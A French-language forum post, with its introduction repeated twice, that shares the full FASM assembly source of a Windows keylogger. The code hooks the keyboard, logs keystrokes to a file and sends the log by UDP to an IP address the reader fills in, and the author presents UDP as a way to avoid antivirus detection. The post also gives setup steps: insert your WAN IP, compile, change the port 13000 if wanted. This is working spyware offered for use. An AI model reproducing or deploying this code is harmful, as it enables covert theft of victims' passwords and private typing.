Bonjour,
J'ai retrouvé dans mes archives le keylogger UDP dont j'avais parlé dans la chatbox.
Pourquoi UDP et pas TCP ? Car TCP est détecté par les antivirus mais pas UDP (en tout cas il n'y était pas il y a 5ans).
Normalement je crois qu'il fonctionne (j'ai la flemme de vérifier).
Je vois aussi qu'il y a une partie commenté sur le code, je crois que c'était pour chiffrer les données. Je dis "je crois" car ça fait 5ans que je n'ai pas codé d'asm et j'ai beaucoup de mal à relire mes codes Il faut que je m'y remette.
Enfin voilà.. Vous avez juste à rajouter votre ip WAN dans 'votre_adresse_ip' puis compiler le code et ensuite c'est censé fonctionner. Ah oui, j'oubliais, c'est sur le port 13000 que ça fonctionne, mais ça c'est pareil vous pouvez le changer dans le code.
Et il y a des trucs, je ne sais plus pourquoi je l'ai avait écrit dans le code. Par exemple ces trois lignes:
titre db 'titre',0
message1 db '1',0
message2 db '2',0
Je crois que vous pouvez les supprimer, tout comme ces trois lignes qui me servaient à faire des printf:
formd db '%08d',13,10,0
formh db '%08x',13,10,0
forms db '%s',13,10,0
Voilà le code: (celui ci n'est pas commenté, désolé. Gardez à l'esprit que c'est un code qui n'est pas terminé...)
J'ai retrouvé dans mes archives le keylogger UDP dont j'avais parlé dans la chatbox.
Pourquoi UDP et pas TCP ? Car TCP est détecté par les antivirus mais pas UDP (en tout cas il n'y était pas il y a 5ans).
Normalement je crois qu'il fonctionne (j'ai la flemme de vérifier).
Je vois aussi qu'il y a une partie commenté sur le code, je crois que c'était pour chiffrer les données. Je dis "je crois" car ça fait 5ans que je n'ai pas codé d'asm et j'ai beaucoup de mal à relire mes codes Il faut que je m'y remette.
Enfin voilà.. Vous avez juste à rajouter votre ip WAN dans 'votre_adresse_ip' puis compiler le code et ensuite c'est censé fonctionner. Ah oui, j'oubliais, c'est sur le port 13000 que ça fonctionne, mais ça c'est pareil vous pouvez le changer dans le code.
Et il y a des trucs, je ne sais plus pourquoi je l'ai avait écrit dans le code. Par exemple ces trois lignes:
titre db 'titre',0
message1 db '1',0
message2 db '2',0
Je crois que vous pouvez les supprimer, tout comme ces trois lignes qui me servaient à faire des printf:
formd db '%08d',13,10,0
formh db '%08x',13,10,0
forms db '%s',13,10,0
Voilà le code: (celui ci n'est pas commenté, désolé. Gardez à l'esprit que c'est un code qui n'est pas terminé...)
Code :
format PE GUI
include 'include/windows/win32a.inc'
;--------------------------------------------------
section '.flat' code readable writeable executable
;--------------------------------------------------
entry $
invoke CreateThread,0,0,Injection,0,0,dwthread
or eax,eax
jz exit
invoke WaitForSingleObject,eax,0xffffffff
Injection:
invoke GetModuleHandle,0
or eax,eax
jz exit
invoke SetWindowsHookEx,WH_KEYBOARD_LL,Keyhook,eax,0
mov [HHOOK],eax
invoke GetMessage,msg,NULL,0,0
invoke UnhookWindowsHookEx,[HHOOK]
ret
proc Keyhook nCode,wParam,lParam
cmp [nCode],HC_ACTION
jnz callnexthook
cmp [wParam],WM_SYSKEYDOWN
jz @f
cmp [wParam],WM_KEYDOWN
jnz callnexthook
@@:
mov eax,[lParam]
virtual at eax
_vkCode dd ?
_scanCode dd ?
_flags dd ?
_time dd ?
_dwExtraInfo dd ?
end virtual
mov eax,[_vkCode]
mov [vkCode],eax
mov esi,lowercase
invoke GetKeyState,0xa5
cmp ah,0xff
jnz @f
mov esi,altgrcase
@@:
invoke GetKeyState,0xa0
cmp ah,0xff
jz @f
invoke GetKeyState,0xa1
cmp ah,0xff
jz @f
invoke GetKeyState,0x14
cmp ax,0x0001
jnz Keyscan
@@:
mov esi,uppercase
Keyscan:
mov eax,[vkCode]
mov edi,vkcode
xor ecx,ecx
add cl,63
cld
repne scasb
or cl,cl
jz callnexthook
sub cl,63
not cl
add si,cx
lodsb
; shl ax,8
; mov esi,c128
; add esi,[cmpt]
; inc [cmpt]
; cmp [cmpt],16
; jnz @f
; xor [cmpt],16
; @@:
; lodsb
; cmp al,ah
; jz @f
; xor al,ah
; @@:
mov byte [writebuf],al
invoke CreateFile,FilePath,GENERIC_WRITE,0,0,\
OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov [hFile],eax
invoke SetFilePointer,[hFile],0,0,FILE_END
invoke WriteFile,[hFile],writebuf,0x1,BytesNbr,0
invoke GetFileSize,[hFile],0
mov [nSize],eax
invoke CloseHandle,[hFile]
cmp [nSize],50
jna callnexthook
call Network
callnexthook:
invoke CallNextHookEx,[HHOOK],[wParam],[lParam]
ret
endp
Network:
invoke WSAStartup,0x202,wsadata
mov word [sockaddr],AF_INET
mov cx,13000
rol cx,8
mov word [sockaddr+2],cx
invoke inet_addr,ip_addr
mov dword [sockaddr+4],eax
invoke socket,AF_INET,SOCK_DGRAM,IPPROTO_UDP
mov [sock],eax
invoke CreateFile,FilePath,GENERIC_READ,0,0,\
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
mov [hFile],eax
invoke GetFileSize,[hFile],0
mov [nSize],eax
invoke ReadFile,[hFile],readbuf,[nSize],BytesNbr,0
invoke CloseHandle,[hFile]
invoke sendto,[sock],readbuf,[nSize],0,sockaddr,16
ret
exit:
invoke ExitProcess,0
;-[Data]-------------------------------------------
titre db 'titre',0
message1 db '1',0
message2 db '2',0
formd db '%08d',13,10,0
formh db '%08x',13,10,0
forms db '%s',13,10,0
c128 db 0x7d,0x72,0x6f,0xd7,0x84,0x09,0xb2,0x18,\
0x12,0xd7,0x43,0xf3,0x33,0x1b,0xa4,0x6f,0
cmpt dd 0
msg MSG
hFile dd 0
FilePath db 'file.txt',0
writebuf db 0
BytesNbr dd 0
nSize dd 0
dwthread dd 0
HHOOK dd 0
vkCode dd 0
altgrcase db 0x00,0x00,0xa4,0x00,0x00,0x00,0x00,0x00,\
0x00,0x7d,0x5d,0x00,0x23,0x7b,0x5b,0x7c,\
0x5c,0x7e,0x60,0x5e,0x40,0
uppercase db 0x0a,0x20,0xa3,0x25,0xb5,0x3f,0x2e,0x2f,\
0xa7,0x2b,0xb0,0x31,0x33,0x34,0x35,0x36,\
0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,\
0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,\
0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,\
0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x30,\
0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,\
0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0
lowercase db 0x0a,0x20,0x24,0xf9,0x2a,0x2c,0x3b,0x3a,\
0x21,0x3d,0x29,0x26,0x22,0x27,0x28,0x2d,\
0x5f,0xe9,0xe8,0xe7,0xe0,0x61,0x62,0x63,\
0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,\
0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x72,0x73,\
0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x30,\
0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,\
0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0
vkcode db 0x0d,0x20,0xba,0xc0,0xdc,0xbc,0xbe,0xbf,\
0xdf,0xbb,0xdb,0x31,0x33,0x34,0x35,0x36,\
0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,\
0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,\
0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,\
0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x60,\
0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,\
0x69,0x6a,0x6b,0x6d,0x6e,0x6f,0
wsadata WSADATA
sock dd ?
sockaddr rb 16
ip_addr db 'votre_adresse_ip',0
readbuf rb 64
;-[Import]-----------------------------------------
data import
library kernel32,'kernel32.dll',\
msvcrt,'msvcrt.dll',\
user32,'user32.dll',\
wsock32,'ws2_32.dll'
include 'include/windows/api/kernel32.inc'
include 'include/windows/api/user32.inc'
include 'include/windows/api/wsock32.inc'
import msvcrt,\
printf, 'printf'
end data